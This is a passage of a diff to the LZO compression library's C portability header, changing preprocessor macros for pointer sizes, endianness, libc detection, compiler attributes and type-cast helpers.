-# elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE)
-# define LZO_SIZEOF_VOID_P 4
-# else
-# error "LZO_MM"
-# endif
-#elif (LZO_ARCH_AVR || LZO_ARCH_Z80)
-# define __LZO_WORDSIZE 1
-# define LZO_SIZEOF_VOID_P 2
-#elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430)
-# define LZO_SIZEOF_VOID_P 2
-#elif (LZO_ARCH_H8300)
-# if defined(__NORMAL_MODE__)
-# define __LZO_WORDSIZE 4
-# define LZO_SIZEOF_VOID_P 2
-# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__)
-# define __LZO_WORDSIZE 4
-# define LZO_SIZEOF_VOID_P 4
-# else
-# define __LZO_WORDSIZE 2
-# define LZO_SIZEOF_VOID_P 2
-# endif
-# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4)
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT
-# endif
-#elif (LZO_ARCH_M16C)
-# define __LZO_WORDSIZE 2
-# if defined(__m32c_cpu__) || defined(__m32cm_cpu__)
-# define LZO_SIZEOF_VOID_P 4
-# else
-# define LZO_SIZEOF_VOID_P 2
-# endif
-#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
-# define __LZO_WORDSIZE 8
-# define LZO_SIZEOF_VOID_P 4
-#elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64)
-# define __LZO_WORDSIZE 8
-# define LZO_SIZEOF_VOID_P 8
-#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__)
-# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
-#elif (LZO_OS_OS400 || defined(__OS400__))
-# define __LZO_WORDSIZE LZO_SIZEOF_LONG
-# define LZO_SIZEOF_VOID_P 16
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
-#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
-# define LZO_SIZEOF_VOID_P 8
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
-#elif (LZO_ARCH_SPU)
-# if 0
-# define __LZO_WORDSIZE 16
-# endif
-# define LZO_SIZEOF_VOID_P 4
-#else
-# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG
-#endif
-#endif
-#if !defined(LZO_WORDSIZE)
-# if defined(__LZO_WORDSIZE)
-# define LZO_WORDSIZE __LZO_WORDSIZE
-# else
-# define LZO_WORDSIZE LZO_SIZEOF_VOID_P
-# endif
-#endif
-#if !defined(LZO_SIZEOF_SIZE_T)
-#if (LZO_ARCH_I086 || LZO_ARCH_M16C)
-# define LZO_SIZEOF_SIZE_T 2
-#else
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P
-#endif
-#endif
-#if !defined(LZO_SIZEOF_PTRDIFF_T)
-#if (LZO_ARCH_I086)
-# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE)
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P
-# elif (LZO_MM_COMPACT || LZO_MM_LARGE)
-# if (LZO_CC_BORLANDC || LZO_CC_TURBOC)
-# define LZO_SIZEOF_PTRDIFF_T 4
-# else
-# define LZO_SIZEOF_PTRDIFF_T 2
-# endif
-# else
-# error "LZO_MM"
-# endif
-#else
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T
-#endif
-#endif
-#if (LZO_ABI_NEUTRAL_ENDIAN)
-# undef LZO_ABI_BIG_ENDIAN
-# undef LZO_ABI_LITTLE_ENDIAN
-#elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN)
-#if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__)
-# if (__LITTLE_ENDIAN__ == 1)
-# define LZO_ABI_LITTLE_ENDIAN 1
-# else
-# define LZO_ABI_BIG_ENDIAN 1
-# endif
-#elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#endif
-#endif
-#if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN)
-# error "this should not happen"
-#endif
-#if (LZO_ABI_BIG_ENDIAN)
-# define LZO_INFO_ABI_ENDIAN "be"
-#elif (LZO_ABI_LITTLE_ENDIAN)
-# define LZO_INFO_ABI_ENDIAN "le"
-#elif (LZO_ABI_NEUTRAL_ENDIAN)
-# define LZO_INFO_ABI_ENDIAN "neutral"
-#endif
-#if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
-# define LZO_ABI_I8LP16 1
-# define LZO_INFO_ABI_PM "i8lp16"
-#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
-# define LZO_ABI_ILP16 1
-# define LZO_INFO_ABI_PM "ilp16"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4)
-# define LZO_ABI_ILP32 1
-# define LZO_INFO_ABI_PM "ilp32"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8)
-# define LZO_ABI_LLP64 1
-# define LZO_INFO_ABI_PM "llp64"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
-# define LZO_ABI_LP64 1
-# define LZO_INFO_ABI_PM "lp64"
-#elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
-# define LZO_ABI_ILP64 1
-# define LZO_INFO_ABI_PM "ilp64"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4)
-# define LZO_ABI_IP32L64 1
-# define LZO_INFO_ABI_PM "ip32l64"
-#endif
-#if !defined(__LZO_LIBC_OVERRIDE)
-#if (LZO_LIBC_NAKED)
-# define LZO_INFO_LIBC "naked"
-#elif (LZO_LIBC_FREESTANDING)
-# define LZO_INFO_LIBC "freestanding"
-#elif (LZO_LIBC_MOSTLY_FREESTANDING)
-# define LZO_INFO_LIBC "mfreestanding"
-#elif (LZO_LIBC_ISOC90)
-# define LZO_INFO_LIBC "isoc90"
-#elif (LZO_LIBC_ISOC99)
-# define LZO_INFO_LIBC "isoc99"
-#elif defined(__dietlibc__)
-# define LZO_LIBC_DIETLIBC 1
-# define LZO_INFO_LIBC "dietlibc"
-#elif defined(_NEWLIB_VERSION)
-# define LZO_LIBC_NEWLIB 1
-# define LZO_INFO_LIBC "newlib"
-#elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__)
-# if defined(__UCLIBC_SUBLEVEL__)
-# define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + __UCLIBC_MINOR__ * 0x100 + __UCLIBC_SUBLEVEL__)
-# else
-# define LZO_LIBC_UCLIBC 0x00090bL
-# endif
-# define LZO_INFO_LIBC "uclibc"
-#elif defined(__GLIBC__) && defined(__GLIBC_MINOR__)
-# define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + __GLIBC_MINOR__ * 0x100)
-# define LZO_INFO_LIBC "glibc"
-#elif (LZO_CC_MWERKS) && defined(__MSL__)
-# define LZO_LIBC_MSL __MSL__
-# define LZO_INFO_LIBC "msl"
-#elif 1 && defined(__IAR_SYSTEMS_ICC__)
-# define LZO_LIBC_ISOC90 1
-# define LZO_INFO_LIBC "isoc90"
-#else
-# define LZO_LIBC_DEFAULT 1
-# define LZO_INFO_LIBC "default"
-#endif
-#endif
#if !defined(__lzo_gnuc_extension__)
#if (LZO_CC_GNUC >= 0x020800ul)
# define __lzo_gnuc_extension__ __extension__
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_gnuc_extension__ __extension__
+#elif (LZO_CC_IBMC >= 600)
# define __lzo_gnuc_extension__ __extension__
#else
+#endif
+#endif
+#if !defined(__lzo_gnuc_extension__)
# define __lzo_gnuc_extension__ /*empty*/
#endif
-#endif
-#if !defined(__lzo_ua_volatile)
-# define __lzo_ua_volatile volatile
-#endif
-#if !defined(__lzo_alignof)
-#if (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
-# define __lzo_alignof(e) __alignof__(e)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700))
-# define __lzo_alignof(e) __alignof__(e)
-#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
-# define __lzo_alignof(e) __alignof(e)
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_alignof(e) __alignof__(e)
-#endif
-#endif
-#if defined(__lzo_alignof)
-# define __lzo_HAVE_alignof 1
-#endif
-#if !defined(__lzo_constructor)
-#if (LZO_CC_GNUC >= 0x030400ul)
-# define __lzo_constructor __attribute__((__constructor__,__used__))
-#elif (LZO_CC_GNUC >= 0x020700ul)
-# define __lzo_constructor __attribute__((__constructor__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_constructor __attribute__((__constructor__))
-#endif
-#endif
-#if defined(__lzo_constructor)
-# define __lzo_HAVE_constructor 1
-#endif
-#if !defined(__lzo_destructor)
-#if (LZO_CC_GNUC >= 0x030400ul)
-# define __lzo_destructor __attribute__((__destructor__,__used__))
-#elif (LZO_CC_GNUC >= 0x020700ul)
-# define __lzo_destructor __attribute__((__destructor__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_destructor __attribute__((__destructor__))
-#endif
-#endif
-#if defined(__lzo_destructor)
-# define __lzo_HAVE_destructor 1
-#endif
-#if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor)
-# error "this should not happen"
-#endif
-#if !defined(__lzo_inline)
-#if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295))
-#elif defined(__cplusplus)
-# define __lzo_inline inline
-#elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550))
-# define __lzo_inline __inline
-#elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
-# define __lzo_inline __inline__
-#elif (LZO_CC_DMC)
-# define __lzo_inline __inline
-#elif (LZO_CC_INTELC)
-# define __lzo_inline __inline
-#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405))
-# define __lzo_inline __inline
-#elif (LZO_CC_MSC && (_MSC_VER >= 900))
-# define __lzo_inline __inline
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_inline __inline__
-#elif defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
-# define __lzo_inline inline
-#endif
-#endif
-#if defined(__lzo_inline)
-# define __lzo_HAVE_inline 1
-#else
-# define __lzo_inline /*empty*/
-#endif
-#if !defined(__lzo_forceinline)
-#if (LZO_CC_GNUC >= 0x030200ul)
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 450) && LZO_CC_SYNTAX_MSC)
-# define __lzo_forceinline __forceinline
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
-# define __lzo_forceinline __forceinline
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#endif
-#endif
-#if defined(__lzo_forceinline)
-# define __lzo_HAVE_forceinline 1
-#else
-# define __lzo_forceinline /*empty*/
-#endif
-#if !defined(__lzo_noinline)
-#if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul)
-# define __lzo_noinline __attribute__((__noinline__,__used__))
-#elif (LZO_CC_GNUC >= 0x030200ul)
-# define __lzo_noinline __attribute__((__noinline__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 600) && LZO_CC_SYNTAX_MSC)
-# define __lzo_noinline __declspec(noinline)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_noinline __attribute__((__noinline__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_noinline __attribute__((__noinline__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
-# define __lzo_noinline __declspec(noinline)
-#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64))
-# if defined(__cplusplus)
+#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) && defined(__cplusplus) && 0
+# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul))
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
+# elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1200))
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
# else
-# define __lzo_noinline __declspec(noinline)
+# define LZO_CFG_USE_NEW_STYLE_CASTS 1
# endif
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_noinline __attribute__((__noinline__))
#endif
+#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
#endif
-#if defined(__lzo_noinline)
-# define __lzo_HAVE_noinline 1
-#else
-# define __lzo_noinline /*empty*/
+#if !defined(__cplusplus)
+# if defined(LZO_CFG_USE_NEW_STYLE_CASTS)
+# undef LZO_CFG_USE_NEW_STYLE_CASTS
+# endif
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
#endif
-#if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline)
-# error "this should not happen"
+#if !defined(LZO_REINTERPRET_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_REINTERPRET_CAST(t,e) (reinterpret_cast<t> (e))
+# endif
#endif
-#if !defined(__lzo_noreturn)
-#if (LZO_CC_GNUC >= 0x020700ul)
-# define __lzo_noreturn __attribute__((__noreturn__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 450) && LZO_CC_SYNTAX_MSC)
-# define __lzo_noreturn __declspec(noreturn)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 600) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_noreturn __attribute__((__noreturn__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_noreturn __attribute__((__noreturn__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
-# define __lzo_noreturn __declspec(noreturn)
+#if !defined(LZO_REINTERPRET_CAST)
+# define LZO_REINTERPRET_CAST(t,e) ((t) (e))
#endif
+#if !defined(LZO_STATIC_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_STATIC_CAST(t,e) (static_cast<t> (e))
+# endif
#endif
-#if defined(__lzo_noreturn)
-# define __lzo_HAVE_noreturn 1
-#else
-# define __lzo_noreturn /*empty*/
+#if !defined(LZO_STATIC_CAST)
+# define LZO_STATIC_CAST(t,e) ((t) (e))
#endif
-#if !defined(__lzo_nothrow)
-#if (LZO_CC_GNUC >= 0x030300ul)
-# define __lzo_nothrow __attribute__((__nothrow__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 450) && LZO_CC_SYNTAX_MSC) && defined(__cplusplus)
-# define __lzo_nothrow __declspec(nothrow)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 900) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_nothrow __attribute__((__nothrow__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_nothrow __attribute__((__nothrow__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus)
-# define __lzo_nothrow __declspec(nothrow)
+#if !defined(LZO_STATIC_CAST2)
+# define LZO_STATIC_CAST2(t1,t2,e) LZO_STATIC_CAST(t1, LZO_STATIC_CAST(t2, e))
#endif
+#if !defined(LZO_UNCONST_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNCONST_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNCONST_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((const void *) (e)))))
+# endif
#endif
-#if defined(__lzo_nothrow)
-# define __lzo_HAVE_nothrow 1
-#else
-# define __lzo_nothrow /*empty*/
+#if !defined(LZO_UNCONST_CAST)
+# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((const void *) (e))))
#endif
-#if !defined(__lzo_restrict)
-#if (LZO_CC_GNUC >= 0x030400ul)
-# define __lzo_restrict __restrict__
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 600) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_restrict __restrict__
-#elif (LZO_CC_CLANG || LZO_CC_LLVM)
-# define __lzo_restrict __restrict__
-#elif (LZO_CC_MSC && (_MSC_VER >= 1400))
-# define __lzo_restrict __restrict
+#if !defined(LZO_UNCONST_VOLATILE_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((lzo_uintptr_t) ((volatile const void *) (e)))))
+# endif
#endif
+#if !defined(LZO_UNCONST_VOLATILE_CAST)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((volatile const void *) (e))))
#endif
-#if defined(__lzo_restrict)
-# define __lzo_HAVE_restrict 1
-#else
-# define __lzo_restrict /*empty*/
+#if !defined(LZO_UNVOLATILE_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNVOLATILE_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNVOLATILE_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((volatile void *) (e)))))
+# endif
#endif
-#if !defined(__lzo_likely) && !defined(__lzo_unlikely)
-#if (LZO_CC_GNUC >= 0x030200ul)
-# define __lzo_likely(e) (__builtin_expect(!!(e),1))
-# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800))
-# define __lzo_likely(e) (__builtin_expect(!!(e),1))
-# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_likely(e) (__builtin_expect(!!(e),1))
-# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#if !defined(LZO_UNVOLATILE_CAST)
+# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((volatile void *) (e))))
#endif
+#if !defined(LZO_UNVOLATILE_CONST_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((lzo_uintptr_t) ((volatile const void *) (e)))))
+# endif
#endif
-#if defined(__lzo_likely)
-# define __lzo_HAVE_likely 1
-#else
-# define __lzo_likely(e) (e)
+#if !defined(LZO_UNVOLATILE_CONST_CAST)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((volatile const void *) (e))))
#endif
-#if defined(__lzo_unlikely)
-# define __lzo_HAVE_unlikely 1
-#else
-# define __lzo_unlikely(e) (e)
+#if !defined(LZO_PCAST)
+# if (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_PCAST(t,e) ((t) (e))
+# endif
+#endif
+#if !defined(LZO_PCAST)
+# define LZO_PCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(void *, e))
+#endif
+#if !defined(LZO_CCAST)
+# if (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_CCAST(t,e) ((t) (e))
+# endif
+#endif
+#if !defined(LZO_CCAST)
+# define LZO_CCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(const void *, e))
+#endif
+#if !defined(LZO_ICONV)
+# define LZO_ICONV(t,e) LZO_STATIC_CAST(t, e)
+#endif
+#if !defined(LZO_ICAST)
+# define LZO_ICAST(t,e) LZO_STATIC_CAST(t, e)
+#endif
+#if !defined(LZO_ITRUNC)
+# define LZO_ITRUNC(t,e) LZO_STATIC_CAST(t, e)
+#endif
+#if !defined(__lzo_cte)
+# if (LZO_CC_MSC || LZO_CC_WATCOMC)
+# define __lzo_cte(e) ((void)0,(e))
+# elif 1
+# define __lzo_cte(e) ((void)0,(e))
+# endif
+#endif
+#if !defined(__lzo_cte)
+# define __lzo_cte(e) (e)
+#endif
+#if !defined(LZO_BLOCK_BEGIN)
+# define LZO_BLOCK_BEGIN do {
+# define LZO_BLOCK_END } while __lzo_cte(0)
#endif
#if !defined(LZO_UNUSED)
# if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600))
# define LZO_UNUSED(var) ((void) &var)
# elif (LZO_CC_BORLANDC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PELLESC || LZO_CC_TURBOC)
# define LZO_UNUSED(var) if (&var) ; else
+# elif (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030200ul))
+# define LZO_UNUSED(var) ((void) &var)
# elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
# define LZO_UNUSED(var) ((void) var)
# elif (LZO_CC_MSC && (_MSC_VER < 900))
# define LZO_UNUSED(var) if (&var) ; else
# elif (LZO_CC_KEILC)
-# define LZO_UNUSED(var) {extern int __lzo_unused[1-2*!(sizeof(var)>0)];}
+# define LZO_UNUSED(var) {LZO_EXTERN_C int lzo_unused__[1-2*!(sizeof(var)>0)];}
# elif (LZO_CC_PACIFICC)
# define LZO_UNUSED(var) ((void) sizeof(var))
# elif (LZO_CC_WATCOMC) && defined(__cplusplus)
@@ -1610,18 +1397,18 @@
# elif (LZO_CC_MSC)
# define LZO_UNUSED_FUNC(func) ((void) &func)
# elif (LZO_CC_KEILC || LZO_CC_PELLESC)
-# define LZO_UNUSED_FUNC(func) {extern int __lzo_unused[1-2*!(sizeof((int)func)>0)];}
+# define LZO_UNUSED_FUNC(func) {LZO_EXTERN_C int lzo_unused_func__[1-2*!(sizeof((int)func)>0)];}
# else
# define LZO_UNUSED_FUNC(func) ((void) func)
# endif
#endif
#if !defined(LZO_UNUSED_LABEL)
-# if (LZO_CC_WATCOMC) && defined(__cplusplus)
-# define LZO_UNUSED_LABEL(l) switch(0) case 1:goto l
-# elif (LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC)
-# define LZO_UNUSED_LABEL(l) if (0) goto l
+# if (LZO_CC_CLANG >= 0x020800ul)
+# define LZO_UNUSED_LABEL(l) (__lzo_gnuc_extension__ ((void) ((const void *) &&l)))
+# elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC)
+# define LZO_UNUSED_LABEL(l) if __lzo_cte(0) goto l
# else
-# define LZO_UNUSED_LABEL(l) switch(0) case 1:goto l
+# define LZO_UNUSED_LABEL(l) switch (0) case 1:goto l
# endif
#endif
#if !defined(LZO_DEFINE_UNINITIALIZED_VAR)
@@ -1633,39 +1420,488 @@
# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = init
# endif
#endif
-#if !defined(LZO_UNCONST_CAST)
-# if 0 && defined(__cplusplus)
-# define LZO_UNCONST_CAST(t,e) (const_cast<t> (e))
-# elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((char *) ((lzo_uintptr_t) ((const void *) (e))))))
-# else
-# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((char *) ((const void *) (e)))))
+#if !defined(__lzo_inline)
+#if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295))
+#elif defined(__cplusplus)
+# define __lzo_inline inline
+#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L)
+# define __lzo_inline inline
+#elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550))
+# define __lzo_inline __inline
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+# define __lzo_inline __inline__
+#elif (LZO_CC_DMC)
+# define __lzo_inline __inline
+#elif (LZO_CC_GHS)
+# define __lzo_inline __inline__
+#elif (LZO_CC_IBMC >= 600)
+# define __lzo_inline __inline__
+#elif (LZO_CC_INTELC)
+# define __lzo_inline __inline
+#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405))
+# define __lzo_inline __inline
+#elif (LZO_CC_MSC && (_MSC_VER >= 900))
+# define __lzo_inline __inline
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_inline __inline__
+#endif
+#endif
+#if defined(__lzo_inline)
+# ifndef __lzo_HAVE_inline
+# define __lzo_HAVE_inline 1
# endif
+#else
+# define __lzo_inline /*empty*/
+#endif
+#if !defined(__lzo_forceinline)
+#if (LZO_CC_GNUC >= 0x030200ul)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450))
+# define __lzo_forceinline __forceinline
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
